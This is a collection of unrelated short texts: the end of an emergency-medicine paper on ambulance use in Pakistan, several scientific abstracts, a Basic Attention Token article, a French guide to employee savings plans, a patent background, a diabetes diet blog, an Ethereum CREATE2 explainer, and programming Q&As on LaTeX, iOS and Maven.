ambulance use between 14.2% and 30% for patients coming to the emergency department \[[@B18]-[@B20]\]. An even higher percentage of 67.3% was reported in a recent study from India \[[@B21]\]. A study done over 15 years ago in the city of Karachi, Pakistan reported ambulance use of 16%, though that study only looked at patients admitted to the hospital where the acuity, and therefore ambulance utilization, was expected to be higher than all who came to the emergency department \[[@B22]\]. This low use of ambulance in Pakistan has previously been attributed to poorly equipped transportation facilities, lack of proficient staff, and lack of pre-hospital care, all of which breed a lack of trust in the EMS system \[[@B4]\]. There is lack of trust in EMS by the public which augments uncertainty about the adequacy of EMS in Pakistan to provide pre-hospital care \[[@B6]\]. Pak-NEDS shows that patients coming to the ED were likely to be elderly patients, those with injuries especially head injuries, and those who were likely to die in the ED. We did not find significant association between ambulance use and gender after controlling for other variables in the model. This study shows that patients more than 45 years of age are more likely to come to ED via ambulance and most of the older patients present due to non-injury complaints. This is consistent with previous studies on ambulance utilization \[[@B23]-[@B25]\]. This could be because elderly patients have chronic diseases like diabetes, cardiovascular disease and acute deterioration of a chronic illness, which results in frequent ED visits. Also due to functional restraints, it is likely that ambulances are used to transport older patients to a nearby health facility for acute care \[[@B23]\]. In comparison to older patients, injury was the common reason for transporting younger patients to ED via ambulance. This might be due to quick response of ambulances in urban centers to such incidents. A higher proportion of patients brought into the ED via ambulances died in the ED or were admitted to the hospital, compared to those who used other modes of transportation to the ED. Most of the deaths in the ambulance group were seen in patients presenting with chest pain or shortness of breath. This indicates the need for the establishment of pre-hospital emergency services, which encompass the provision of patient monitoring devices, basic and advanced life support, and trained paramedics in accordance with the availability of resources \[[@B1]\]. A study done in Canada reported that older patients with myocardial infarction who used ambulances were sicker when compared with their counterparts who did not use ambulances to come to the hospital \[[@B26]\]. Triage and pre-hospital care by paramedic staff remains an important constituent of emergency care. This is especially true for patients with time-sensitive conditions like myocardial infarction, stroke (hemorrhage/ischemia), sepsis, cardiopulmonary arrest and trauma, where prompt identification and treatment results in markedly improved patient survival and outcomes \[[@B27]-[@B31]\]. Limitations =========== There are several limitations in this analysis. There was missing data in Pak-NEDS related to ambulance use. As a result, logistic regression was done on 56% of the patient for whom data related to all variables was available. The data lacked in information related to type of ambulance (transport vehicle, basic life support or advance life support vehicle) used for transportation of the patient, ambulance response time, transportation time and interventions done during the pre-hospital phase, if any, to the patients who came through ambulances. Our study recorded information related to different types of presenting complaints; for example, chest pain, injuries, and stroke. However, it lacks information on severity of these time-sensitive conditions. This hampers analysis related to disease severity and outcome. We did not have follow-up information on the patients to determine outcomes such as 30-day mortality or length of hospital stay, which would help determine the effectiveness of care provided in the emergency department as well as in the ambulance, if any. This study also lacks population level estimates related to ambulance use and hospital catchment area. Conclusion ========== This study shows that the use of ambulance services in Pakistan remains quite low overall. Patients older than 45 years of age and those who have injuries are more likely to be transported via ambulance. Patients coming to ED by ambulance have higher likelihood of death in the ED or admission to the hospital for further care. We propose that increasing utilization of a pre-hospital emergency care system integrated with overall healthcare system could potentially reduce mortality and improve outcomes. This needs further studies to see association between ambulance and better outcome. Competing interests =================== The authors declare that they have no competing interests. Authors\' contributions ======================= NZ was involved in the analysis and manuscript writing. HS, SS and HA wrote the first draft. SMB, CR, AAH and JAR provided critical review of the draft. AAH and JAR conceptualized Pak-NEDS and provided supervision during development of manuscript. All the authors approved the final manuscript except SS who passed away during the manuscript finalization phase. Acknowledgements ================ The authors would like to acknowledge the collaborators and data collection teams from all participating sites for their support during data collection and Ms. Bobbi Nicotera for providing language edits for the manuscript. The Pak-NEDS study was supported through the \"Johns Hopkins International Collaborative Trauma and Injury Research Training Program\" \[Grant No. D43TW007292\] by Fogarty International Center of the United States National Institutes of Health. The content is solely the responsibility of the authors and does not represent the views of Fogarty or NIH. This article has been published as part of *BMC Emergency Medicine*Volume 15 Supplement 2, 2015: Articles from the Pakistan National Emergency Departments Surveillance Study (Pak-NEDS). The full contents of the supplement are available online at <http://www.biomedcentral.com/bmcemergmed/supplements/15/S2>. Publication of this supplement was funded by the Johns Hopkins School of Public Health.

Age-based demographic and reproductive assessment of orangespine Naso lituratus and bluespine Naso unicornis unicornfishes. Bluespine unicornfish Naso unicornis and orangespine unicornfish Naso lituratus were sampled in Pohnpei and Guam, Micronesia, over 13 months to identify reproductive and age-based demographic features necessary for informed management. Age and reproductive information were derived from analysis of sagittal otoliths and gonads. Both species had moderate life spans [maximum ages of 23 (N. unicornis) and 14 years (N. lituratus)] compared with published estimates of conspecifics from other locations (>30 years) and of other Naso species. Length at maturation for N. unicornis was similar between Pohnpei and Guam while females consistently matured at a larger size [c. 30 cm fork length (LF )] than males (c. 27 cm LF ). This sex-specific pattern was reversed in N. lituratus for which estimates of maturation length (females: 15 cm LF ; males: 18 cm LF ) were only obtained from Guam. Developmental patterns in female gonads of both species suggested that initiation of maturation occurs very early. Growth patterns of N. lituratus displayed rapid asymptotic growth compared with N. unicornis and other congeners as well as slight sex-specific patterns of length-at-age. Results highlight the considerable spatial variation that may occur in the population biology of these species across various scales. Additionally, proper management remains complicated without improved knowledge of fishery trends and reproductive behaviour in unicornfishes, species that are prime fishery targets in Micronesia and elsewhere.

Evolutionary computing based approach for the removal of ECG artifact from the corrupted EEG signal. Electroencephalogram (EEG) is an important tool for clinical diagnosis of brain-related disorders and problems. However, it is corrupted by various biological artifacts, of which ECG is one among them that reduces the clinical importance of EEG especially for epileptic patients and patients with short neck. To remove the ECG artifact from the measured EEG signal using an evolutionary computing approach based on the concept of Hybrid Adaptive Neuro-Fuzzy Inference System, which helps the Neurologists in the diagnosis and follow-up of encephalopathy. The proposed hybrid learning methods are ANFIS-MA and ANFIS-GA, which uses Memetic Algorithm (MA) and Genetic algorithm (GA) for tuning the antecedent and consequent part of the ANFIS structure individually. The performances of the proposed methods are compared with that of ANFIS and adaptive Recursive Least Squares (RLS) filtering algorithm. The proposed methods are experimentally validated by applying it to the simulated data sets, subjected to non-linearity condition and real polysomonograph data sets. Performance metrics such as sensitivity, specificity and accuracy of the proposed method ANFIS-MA, in terms of correction rate are found to be 93.8%, 100% and 99% respectively, which is better than current state-of-the-art approaches. The evaluation process used and demonstrated effectiveness of the proposed method proves that ANFIS-MA is more effective in suppressing ECG artifacts from the corrupted EEG signals than ANFIS-GA, ANFIS and RLS algorithm.

Reddit 53 94 Shares Basic Attention Token is 40th on the crypto market with a market cap of $197 million and while this doesn’t sound much, this digital coin has come a long way. The founder and CEO of Basic Attention Token (BAT) is Brendan Eich, and he happens to be a co-founder of Mozilla and Firefox and the creator of JavaScript. Join the cryptocurrency future and trade your favorite coins like BAT on Binance By all accounts, it seems he knows his way around startups, and investors acknowledged this fact during the BAT ICO launch last year when it raised $35 million in less than 30 seconds of its launch. The coin is not doing bad right now, at the time of press it was trading at near $0.21 and just last month its holders got excited at the prospect of it being listed on Coinbase, something the large U.S.-based crypto exchange says it’s considering. The Concept Behind BAT The idea behind the project is to provide a platform that enables Ad placement and allows for micro-payments between publishers, advertisers, and content creators. Essentially eliminating the need for third parties such as ad networks like Google. The token is powered by Ethereum blockchain and is used on a web browser called Brave, which offers this ad services. The developers believe in targeted advertisement that will be more efficient for all parties involved. This will be made possible by tracking user interactions and recording and storing this data in a distributed ledger. According to the company’s Whitepaper , the BAT system will provide users with, relevant adverts, privacy and security when viewing ads and a share of the BAT tokens for their attention. As for publishers, they will get improved revenue, better reporting, and less fraud. Lastly, advertisers will get less fraud, better attribution, and less expensive customer attention. The token (BAT) will be integrated into all this by having advertisers transact with BAT, the publisher will be paid in BAT and users will be rewarded for their attention in BAT. So, clearly, this is a project that if successful is bound to revolutionize an industry that is opaque and dominated by several third-party multinationals, while introducing features that are unheard of in such third-party companies. One particular feature of the BAT system that has attracted users is that it is designed to match users with local advertisers, hence, the results are more relevant and makes it much easier and faster since the user accesses local servers rather than worldwide servers. Other impressive features include Ad matching, which means that the system can access the user’s history data and produce the most relevant ads depending on keyword matches, active tabs and history searches. Privacy has also been an issue in the industry with third-parties receiving private data and using it against users. However, with the BAT system, personal data never leaves the users device. Users are also rewarded for their attention when viewing advertisements, an initiative that will act as an incentive for users to give ads their undivided attention. Although BAT tokens are primarily designed to be used for exchange between Ad service providers, they can be exchanged for fiat or other cryptocurrencies. Currently, the coin is available in different crypto exchanges and BAT’s partner Uphold.com . Coinbase, which announced a month ago it was considering listing BAT, would be the first major crypto exchange to list the token and this would represent a major step for BAT. Basic Attention Token brings a new and innovative solution to an industry which is currently outdated and both inefficient and ineffective. The project is excellent and the team led by Brendan Eich is excellent and up to the task. As for the token, much like most, its success is underpinned by the success of the project. However, speculators will have their market share which will influence its price, especially now that there is a possibility that it could be listed on Coinbase. Build a winning crypto portfolio Free report teaches how to structure your crypto portfolio, so you can maximize gains and minimize losses.

Q: Format title for \chapter*{} I have formatted Chapter titles using the package titlesec, but the formatting is unsuccessful in applying to my chapters with an asterisk *, (those chapters which I do not want appearing in my table of contents.) That is, I would like to center and make \huge a title which corresponds to \chapter*{Some Title}. For all my other chapters, I have successfully used: \titleformat{\chapter}[display] {\normalfont\huge\bfseries}{\centering\chaptertitlename\ \thechapter}{20pt}{\huge} How may I do this for \chapter*{}, using titlesec or otherwise? This is under \documentclass{report}. EDIT: \documentclass[12pt]{report} \usepackage{tocloft} \usepackage{titlesec} \begin{document} \titleformat{\chapter}[display] {\normalfont\huge\bfseries}{\centering\chaptertitlename\ \thechapter}{20pt}{\huge} \tableofcontents{} \addcontentsline{toc}{chapter}{Unnumbered Title} \chapter*{Unnumbered Title} I would like the title above centered \chapter{Numbered Title} ...centered like this chapter heading above \end{document} Thank you! A: You can have what you want with the numberless key. I'm not sure whether you want unnumbered chapters to be in the table of contents; the below code does it, but it's easy to undo it if you don't want. Just use: \titleformat{\chapter}[display] {\normalfont\huge\bfseries\filcenter}{\chaptertitlename\ \thechapter}{20pt}{} \titleformat{name=\chapter,numberless}[block] {\normalfont\huge\filcenter\bfseries}{}{0pt}{\huge}[\addcontentsline{toc}{chapter}{\chaptertitle}]

L’épargne salariale, un jeu d’enfants ? JHR FILMS/CINE 3D Qui dit épargne salariale dit épargne dans le cadre de l’entreprise. Mais certainement pas épargne passive : c’est bien au titulaire du plan d’épargne entreprise (PEE) ou un plan d’épargne retraite collectif (Perco) de gérer ses investissements. « Dans les faits, rares sont toutefois ceux qui prennent vraiment les choses en main », déplore Philippe Crevel, qui dirige Le Cercle de l’épargne. Dommage, car faute d’implication du salarié, des choix par défaut lui sont imposés, et ils peuvent se révéler contraires à ses intérêts. Quelles sont les premières décisions à prendre ? Questions-réponses. Faut-il percevoir participation et intéressement directement ou les affecter à un plan spécifique ? La condition pour placer ces sommes sur un plan d’épargne salariale : être sûr(e) de ne pas avoir besoin de les retirer rapidement pour un motif qui n’est pas autorisé. PEE et Perco impliquent en effet un blocage de l’épargne, cinq ans pour l’un, jusqu’à la retraite pour l’autre. Mais des cas de déblocage anticipé existent (listés ici) et ils sont assez nombreux pour le PEE (mariage, pacs, troisième enfant, divorce, achat de résidence principale, rupture du contrat de travail, etc.). En clair, vous divorcez et avez besoin d’une nouvelle voiture, vous pourrez débloquer votre PEE ; vous devez acheter une nouvelle voiture alors qu’il ne se passe rien de spécial dans votre vie personnelle ou professionnelle, vous ne pourrez pas retirer votre argent. Si ce blocage ne représente pas un souci pour vous, investir intéressement et participation sur un PEE ou un Perco sera souvent une bonne affaire. Car vous ne paierez d’impôt sur le revenu ni sur les primes versées, ni sur les plus-values réalisées. Vous bénéficierez en outre, si votre plan le prévoit, d’un abondement de votre employeur sur ces sommes : il complétera vos versements, il pourra aller jusqu’à tripler votre mise. Toutefois, « si vous ne payez pas d’impôt, que votre employeur n’offre aucun abondement et que vous êtes allergique au risque, vous n’avez aucune bonne raison de bloquer votre épargne sur un PEE ou un Perco, autant vous tourner vers le Livret A », nuance Manuèle Pennera, associée fondatrice de Karente. Lire aussi Un nouveau site pour découvrir et comprendre l’épargne salariale Où vont mon intéressement et ma participation si je ne me manifeste pas ? A partir de leur attribution, vous disposez de quinze jours pour faire connaître votre choix. Si vous ne répondez pas, votre participation sera bloquée sur un plan d’épargne salariale. Elle sera versée sur un PEE si votre entreprise ne propose pas de Perco. Et pour moitié sur un PEE, pour moitié sur un Perco, si votre employeur propose les deux. L’intéressement sera entièrement dirigé vers un PEE. Comment choisir mes supports d’investissement ? Exactement comme si vous réalisiez un investissement dans le cadre personnel : en prenant en compte votre appétit pour le risque, vos projets, votre horizon de placement, le patrimoine dont vous disposez par ailleurs. On vous proposera plusieurs fonds d’épargne salariale. Pour les comparer, consultez leur document d’information-clé pour l’investisseur (DICI) : il résume leurs principales caractéristiques. Comme toujours, il convient de ne pas mettre tous ses œufs dans le même panier. Investir beaucoup sur un même fonds peut être risqué, surtout s’il s’agit, côté PEE, d’un fonds investi en actions de votre entreprise. Pour un Perco, vous aurez forcément le choix entre une gestion libre et une gestion pilotée, c’est-à-dire une répartition de l’épargne réduisant automatiquement les risques à mesure que la retraite approche. Vous ne manifestez aucun choix ? Les sommes investies sur un PEE iront, c’est logique, sur le fonds le moins risqué. Attention, cela implique de loger votre épargne sur des placements monétaires, qui ne rapportent souvent plus. Les sommes placées sur un Perco seront de leur côté affectées en gestion pilotée. Là aussi, attention : si vous êtes jeune, votre épargne sera alors largement exposée aux marchés financiers ; ce qui n’est pas souhaitable dans le cas où vous prévoyez d’acheter bientôt votre maison. Ai-je intérêt à effectuer des versements volontaires sur mon PEE ou Perco ? Oui, si votre employeur les abonde. Ils ne bénéficieront cependant ni de l’exonération fiscale accordée à la participation, l’intéressement et l’abondement, ni des déductions fiscales prévues pour certains produits d’épargne retraite, comme le plan d’épargne retraite populaire (PERP). On me propose à la fois PEE et Perco, que faire ? Si votre employeur abonde vos versements, et que vous pouvez vous le permettre, vous avez intérêt à profiter au maximum des possibilités d’abondement des deux plans. Au-delà de cette optimisation de l’abondement, ou en l’absence d’abondement, le PEE est favori car bien plus liquide. Les sommes investies ne sont bloquées que cinq ans. Les possibilités de déblocage anticipé sont plus nombreuses. Lire aussi Tirer le meilleur parti de son épargne salariale Et si je change d’entreprise, comment cela se passe-t-il ? Le Perco pourra être conservé ou transféré dans votre nouvelle entreprise, si elle en propose. Quant au PEE, il pourra être débloqué, conservé ou transféré. A savoir : quand vous quittez l’entreprise, celle-ci cesse de prendre en charge les frais de tenue de compte. D’où l’intérêt, souvent, de transférer votre PEE ou Perco chez votre nouvel employeur. Si vous détenez un Perco et que votre nouvelle entreprise n’en propose pas, ou que vous renoncez au salariat, vous serez toutefois obligé de conserver votre ancien Perco jusqu’à la retraite. Et de payer chaque année ses frais de tenue de compte, souvent environ 30 euros, même si vous ne versez rien et que votre épargne est faible… Sauf si vous pouvez profiter d’un déblocage anticipé, ou si, dans le cadre de votre activité d’indépendant, vous avez au moins un salarié et que vous décidez de mettre en place un Perco dans votre entreprise. Le Perco n’est pas transférable sur un autre produit d’épargne retraite. Aurélie Blondel

Photochemical deactivation pathways of the A-state allyl radical. Ab initio direct molecular dynamics with trajectory surface hopping methods simulates the photochemical deactivation pathways of the allyl radical, C(3)H(5), following electronic excitation to the A-state. The electronically nonadiabatic dynamics mediated by two conical intersections produces predominantly hot ground state allyl radicals along both the disrotatory and conrotatory photochemical deactivation pathways with a near synchronous rotation of the terminal methylene groups. The electrocyclic transformation of the allyl radical to the cyclopropyl radical is a minor channel accounting for 8% of all trajectories with 98% of them following the disrotatory pathway.

Comparative field efficacy of newly developed formulations of larvicides against Aedes aegypti (L.) (Diptera: Culicidae). Aedes aegypti (L.) is known as vector of dengue and chikungunya fever. Larvicides are used to control this vector. We evaluated the efficacy of newly developed formulations of larvicides to control Ae. aegypti under field conditions for 24 weeks post single application. Mosdop P and Mosdop TB containing diflubenzuron (2% and 40 mg/tablet, respectively) as the active ingredient, were applied at a dosage of 0.1 mg a.i./1 and Mosquit TB10, Mosquit TB100 and Temecal containing temephos (1%, 10% and 1%, respectively) as the active ingredient were applied at a dosage of 1 mg active ingredent (a.i.) to 200 liter water storage jars. Two water regimens were used in the jars: in one regimen the jar was kept full of water all the time and in the other regimen a full jar had half the volume removed and refilled weekly. The larvicidal efficacy was reported as the level of inhibition of emergence (IE%) calculated based on the pupal skins in the jars versus the original number of larvae added. Mosdop P, Mosdop TB, Mosquit TB10, Mosquit TB100 and Temecal showed complete larvicidal efficacy (100% IE) in the constantly full jars for 16, 17, 14, 20 and 13 weeks posttreatment, respectively; in the jars where half the volum of water was replaced weekly, the larvicides had complete larvicidal efficacy (100% IE) for 19, 20, 17, 24 and 15 weeks post-treatment, respectively. The five larvicide regimens evaluated in this study are effective for controlling Ae. aegypti larvae.

Works on $327m Nakheel Mall project in Dubai 85% complete Nakheel’s mall project on Dubai’s Palm Jumeirah is nearing delivery, with the UAE-headquartered developer announcing that construction works are 85% complete. In a statement, the company said that a 600t tower crane has recently been removed from the project site, marking a “significant milestone” in the progress of the $326.7m (AED1.2bn) Nakheel Mall development. Nakheel further revealed that all ceiling and under- and above-ground floor works have been completed, with fit out now being implemented on major outlets of the mall, including the 5,574m2, 15-theatre Vox cinema complex. Interior works like granite and glass fixing are “well on track”, the master developer noted, adding that the project’s 25m-high crystal dome, which will “straddle the mall’s Monorail station”, is also taking shape. Once completed, Nakheel Mall will comprise five floors and three underground parking levels, and will host 350 shops, restaurants, and leisure attractions. Features of the project will include two waterfalls plunging 65ft into the mall, a fine dining roof plaza, and access to the 240m ascent to the public viewing deck at Nakheel’s The Palm Tower, a 52-storey hotel and residential property that is also under construction.

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This invention relates to Multilayer Color Sensing Photodetectors and the method of fabricating such devices. Photodetectors are used in a variety of applications such as digital cameras and video cameras. Photodetectors used in applications such as these may be one of a variety of devices including photodiodes, photoresistors, phototransistors and other photosensitive devices. In both digital still cameras and digital video cameras, information about the color of the incident light is typically obtained through the use of filters that are present above the individual photodetectors. These filters allow light of only a specified color through to the underlying photodetector. If three colors of light are to be detected, three types of filters are required, and three photodetectors are often needed for each pixel. The deposition of layers of polycrystalline semiconductor material separated by a dielectric layer is routine. In an article entitled Stacked Amorphous Silicon Color Sensors, by Dietmar Knipp et al., IEEE Transactions on Electronics Devices, Vol. 49, No. 1, January 2002, which is hereby incorporated by reference, there is described a multilayer photodetector structure used in the prior art. Three layers of semiconductor material are separated by two layers of intervening dielectric material. Other examples of prior art devices include: U.S. Pat. No. 5,949,073, dated Sep. 7, 1999, and describes, “a photodetector, a photo semiconductor element is covered by a cap with an incident window permitting incident light to penetrate through a translucent member. The photo semiconductor element detects a quantity of incident light penetrating through the translucent member of the incident window. The translucent member of the incident window is made of a material capable of suppressing the transmitting light quantity of incident light components having wavelengths less than 700 nm and larger than 900 nm. A photoelectric current output of the photosensitive semiconductor element is controlled by the incident light penetrating through the translucent member of the incident window. The photosensitive semiconductor element operates in multiple ways as a thermosensing sensor and a photosensing sensor.” U.S. Pat. No. 6,177,710, dated Jan. 23, 2001, which is hereby incorporated by reference, describes, “a semiconductor waveguide type photodetector, a layered structure is formed on a semiconductor substrate, the layered structure formed by building a first semiconductor layer, a second semiconductor layer and a third semiconductor layer in due order, the first semiconductor layer being of one of p-type and n-type, the second semiconductor layer having lower bandgap energy than that of the first semiconductor layer, the third semiconductor layer having higher bandgap energy than that of the second semiconductor layer and having a conductive type opposite to that of the first semiconductor layer, and wherein at least the second semiconductor layer of the layered structure has a semiconductor waveguide having a mesa stripe structure, and at least a side surface and/or a light incidence end face of the second semiconductor layer is curved.” U.S. Pat. No. 6,171,885, dated Jan. 9, 2001, which is hereby incorporated by reference, describes “a high efficiency color filter process for semiconductor array imaging devices, a microelectronic method is described for optimizing the fabrication of optical and semiconductor array structures for high efficiency color image formation in solid-state cameras. Disclosed is an ordered fabrication sequence in which microlens formation precedes color filter layer formation to enable increased image light collection efficiency, to encapsulate and protect the microlens elements from chemical and thermal processing damage, to minimize topographical under layer variations which would axially misalign or otherwise aberrate microlens elements formed on non-planar surfaces, and, to complete the most difficult steps early in the process to minimize rework and scrap. A CMOS, CID, of CCD optoelectronics configuration is formed by photolithographically patterning a planar array of photodiodes on a silicon or a III–V, II–VI or other compound semiconductor substrate. The photodiode array is provided with metal photoshields, passivated, planarized, and, a first convex microlens array of high curvature or other suitable lenses are formed thereon. A transparent encapsulating material is deposited to planarize the microlens layer and provide a spacer for the successive deposition of one or more color filter layers. The microlens array may be formed from positive photoresist and the spacer from negative resist, with close attention to matching the index of refraction at layer interfaces. A final surface layer comprising a color filter completes the solid-state color image-forming device”.

Subscribe To Sunday, March 3, 2019 Type 2 Nutrition #475: The Fast Mimicking Diet A WebMD Health piece on the Fast Mimicking Diet (FMD), written awhile back for a “consumer audience,” was, I thought, a little too “thin” (in substance). The research paper referenced in Cell, however, was a little too “thick.” Still, it was interesting, so I wrote about it here in #382, “Can fasting ‘wake-up’ the pancreas?” My editor thought I could do better, though, so she sent me this BBC piece, “Behind the Headlines – Health News from NHS Choices.” This time the porridge was neither “too thin” nor “too thick.” I was just right! The BBC lede jumps right to the conclusion: “‘The pancreas can be triggered to regenerate itself through a type of fasting diet, say US researchers.” Pithy, hey what? Here are key excerpts, for your elucidation: “Mice were fed for four days on a low-calorie, low-protein and low-carbohydrate but high-fat diet, receiving half their normal daily calorie intake on day one, followed by three days of 10% of their normal calorie intake.” “Researchers repeated this fast on three occasions with 10 days of re-feeding in between to ensure they regained their body weight before the next fasting cycle.” “They then examined the pancreas. They found in mice modeled to have both type 1 and type 2 diabetes, insulin production was restored, insulin resistance was reduced, and beta cells could be regenerated.” “Researchers also recruited healthy human adult volunteers without a history of diabetes, who underwent three cycles of a similar four-day fasting regimen. Their blood samples were applied to the cultured pancreatic human cells. The results in the human cell samples suggested similar findings to those seen in mice.” The BBC summed it up: “The researchers concluded that, ‘These results indicate that an FMD promotes the reprogramming of pancreatic cells to restore insulin generation in islets from T1D patients and reverse both T1D and T2D phenotypes in mouse models.’” “This is good science,” a professor at Cambridge commented. The Fast Mimicking Diet (FMD) employed in the study and reported on in Cell was conducted at the University of Southern California (USC) and the Koch Institute at MIT, plus in Italy. It was funded by grants from the US National Institutes of Health and the US National Institute on Aging. It was high fat, low carb, low protein and, okay, very low calorie, especially in the last 3 of the 4 days. In that sense, it “mimics” a “water-only” fast; that is, the biomarkers had the same physiological effects on the body as the more extreme “water only” fast. The FMD is a way to eat that tricks the body into thinking that a person is fasting. The 3 salient biomarkers that the body produces are 1) lower levels of IGF-1, a hormone with a molecular structure similar to insulin, 2) lower levels of glucose and 3) an increase in ketone bodies. The hypothesis is that a more extreme “water-only” fast would produce the same effects, but is unnecessary if you’re unwilling to go there, yet. The effect of the HIGH FAT, LOW CARB and LOW PROTEIN FMD used in the USC/MIT study on mice and men was to “reboot” the pancreas to help the insulin-producing cells repair themselves and start producing the hormone (insulin) again. The study in Cell said, “During periods of fasting, the cells go into ‘standby’ mode. When feeding begins again, new cells are produced that have the potential to become insulin-producing.” From an evolutionary standpoint, the ability of animals to survive food deprivation is an adaptive response accompanied by the atrophy of many tissues to minimize energy expenditure. Thus periodic cycles of fasting, leading to the oxidation of pancreatic fat cells, the removal of impaired tissue (autophagy) and the death of other cells by apoptosis (pre-programmed death), “induced by the stepwise expression of certain genes,” are regulators of cell metabolism which enable the pancreas to reprogram itself to restore insulin production and regenerate stem cells similar to those observed during pancreatic development. Might FMD be worth a try? The way I read it, the answer is "yes" to the first part of your question, but "not addressed" to the second part. Type 2 diabetes has 2 components: The IR at the cellular receptor part of glucose uptake, and the blocked (or destroyed) ability of the islets to make insulin in the beta cells. These findings address the second (pancreatic) part but do not appear to address the IR part. Remember, the IR comes before the pancreas is asked to make more insulin and eventually is unable to because the beta cells are killed (or blocked by fat cells in the pancreas). But if the ability to make beta cells is restored by the FMD, that does not address the damage to the insulin receptors at the cellular glucose uptake level. About Me I was diagnosed a Type 2 diabetic in 1986. I started a Very Low Carb diet (Atkins Induction) in 2002 to lose weight. I didn’t realize at the time that it would put my diabetes in clinical remission, or that I would be able to give up almost all of my oral diabetes meds. I also didn’t understand that, as I lost weight and continued to eat Very Low Carb, my blood lipids would dramatically improve (doubling my HDL and cutting my triglycerides by 2/3rds) and that my blood pressure would drop from 130/90 to 110/70 on the same meds. Over the years I changed from Atkins to the Bernstein Diet (designed for diabetics) and, altogether lost 170 pounds. I later regained some and then lost some. As long as I eat Very Low Carb, I am not hungry and I have lots of energy. And I no longer have any of the indications of Metabolic Syndrome. My goal, as long as I have excess body fat, is to remain continuously in a ketogenic state, both for blood glucose regulation and continued weight loss. I expect that this regimen will continue to provide the benefits of reduced systemic inflammation, improved blood lipids and lower blood pressure as well.

The CREATE2 OpCode and DApp Onboarding in Ethereum 1,155 reads The Ethereum network’s next major upgrade is the Constantinople upgrade (was meant to be January 16th but has since been delayed). The upgrade introduces several new features, one of which seems unexciting on the surface but enables a range of possibilities for scalability and user onboarding. This feature is the introduction of a new opcode for the Ethereum Virtual Machine: CREATE2. This article will briefly outline what CREATE2 does and how it could drastically improve the adoption cycle for decentralised applications. What is CREATE2? The important thing about CREATE2 is it allows DApp (Decentralized Application) developers to generate contract addresses without having to actually deploy a contract. Previously there was no way of “reserving” a contract address without deploying it. We’ll discuss why this is a problem for adoption later. The actual CREATE2 opcode behaves virtually identically to the current CREATE opcode with 1 slight change. Both attempt to deploy some EVM bytecode as a new contract. However, whilst the contract address that a CREATE call deploys to is dependent solely on the sender and nonce, the new contract address for CREATE2 is dependent on extra input data. In simple terms, you can think of it as allowing developers a level of “control” over the new contract address generated. The Onboarding Process Before CREATE2 Think of some DApp that we’re trying to build and to market to the general public. At some point in the process of users interacting with our DApp, we likely want to give them some on-chain reward; maybe ether, tokens, or some non-fungible token. To do this, of course, the users need their own address, despite this application being their first interaction with the Ethereum blockchain. There are a couple of options here. We could maintain a list of private keys on some centralised server behind the scenes of the DApp. This would allow us to cheaply distribute new addresses to all of our users. However this is a significant security burden for us, and really takes the “D” out of “DApp”. Another option is to create a wallet-like contract for every new user. Initially, our DApp will have full rights to all of the operations on this contract. Users can still receive everything they need, and whenever they do create their own Ethereum address, we can easily transfer full ownership over to them, removing the rights of our DApp. In theory, this works great. In practice, it’s very expensive. Contract deployments cost gas, and as the developers of this DApp we have to continually fund the creation of new contracts — even for cases where the users never come back. Sunk cost. If only we could know about these contract addresses without having to spend the gas to create them! Enter CREATE2 With CREATE2 our DApps can now know a contract’s address before it’s created. In the case above, we can easily generate wallet contract addresses for all of our users. Off-chain. For free. We can send all of the tokens and in-game items that we need to to this address, and when the user is ready to commit and claim their new property, we can require that they send a small amount of ether to the contract address. Which will allow our DApp to go and create the contract for free, taking some of the funds to cover gas costs! Concluding This is just one possible brainstormed workflow, but hopefully gives you an idea of the kinds of things we can start doing when we are able to reserve contract addresses for currently unidentified users. Let me know if you have any thoughts, or if this high-level explanation can be improved in any way. Find me on Twitter: https://twitter.com/codingupastorm Tags

Piano Sonata No. 17 Piano Sonata No. 17 may refer to: Piano Sonata No. 17 (Beethoven) Piano Sonata No. 17 (Mozart)

Encryption ========== 基于Base64,MD5,SHA,Hmac,DES,AES,RSA信息加密的设计与实现。 1. 实现Base64对于文字的加密和解密。 2. 实现MD5对于文字的校验。 3. 实现SHA1,SHA256,SHA384,SHA512对于文字的加密。 4. 实现HmacMD5,HmacSHA1,HmacSHA256,HmacSHA384,HmacSHA512对于文字的加密。 5. 实现了对称加密算法DES和AES. 6. 实现了非对称加密算法RSA.

Q: iOS - How to display the same table view after selecting an item My iOS app is current transferring control to a detail view when an item in a UITableView is selected. This ia a quiz program, and I'd like to change the app so that it just redisplays the same table view with the correct answer highlighted when a row is selected. What's a good approach for doing this? A: Is not clear to me if you know why the detail view is appearing. So I'll explain just in case. If you are giving control to a detail view is because somewhere in your code you are pushing that detail view. It depends on what kind of UITableViewCell you are using. If you are using one of the defaults styles, your detail view is probably been pushed in either: - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath or - (void)tableView:(UITableView *)tableView accessoryButtonTappedForRowWithIndexPath:(NSIndexPath *)indexPath If you are using a custom cell, then you need to look for the method in charge of pushing that detail view. I think a good approach would be to: Remove that pushing wherever it is. Not to use an `UITableViewCellAccessoryType, if you are using one. Do something similar to the following on your tableView:didSelectRowAtIndexPath: Find the row for the right answer in your model array, according to tapped cell. Use that row number to generate an NSIndexPath. Use that NSIndexPath to find the correct cell with cellForRowAtIndexPath: Call setSelected:animated: on that cell to highlight it. NOTE: If your quiz has more answers than the amount of UITableViewCells that fit in the screen you should scroll your UITableView to the right answer for better UX.

Q: Maven Error " annotations are not supported....." This is one of the most annoying errors ? What I can understand is that I am using a lower version of Java for compiling. How can I specify java version for maven ? Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:compile (default-compile) on project springAopMavenDemo: Compilation failure D:\JAVA Stuffs\projects\springAopMavenDemo\src\main\java\service\EmployeeServiceImpl.java:[13,1] annotations are not supported in -source 1.3 (use -source 5 or higher to enable annotations) @Service -> [Help 1] To see the full stack trace of the errors, re-run Maven with the -e switch. Re-run Maven using the -X switch to enable full debug logging. For more information about the errors and possible solutions, please read the following articles: [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException I really appreciate any help......I am using NetBeans 7.0 and Maven 3 A: You need to tell maven which version of java the source should be compiled to <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>2.3.2</version> <configuration> <source>1.5</source> <target>1.5</target> </configuration> </plugin> </plugins> http://maven.apache.org/plugins/maven-compiler-plugin/examples/set-compiler-source-and-target.html

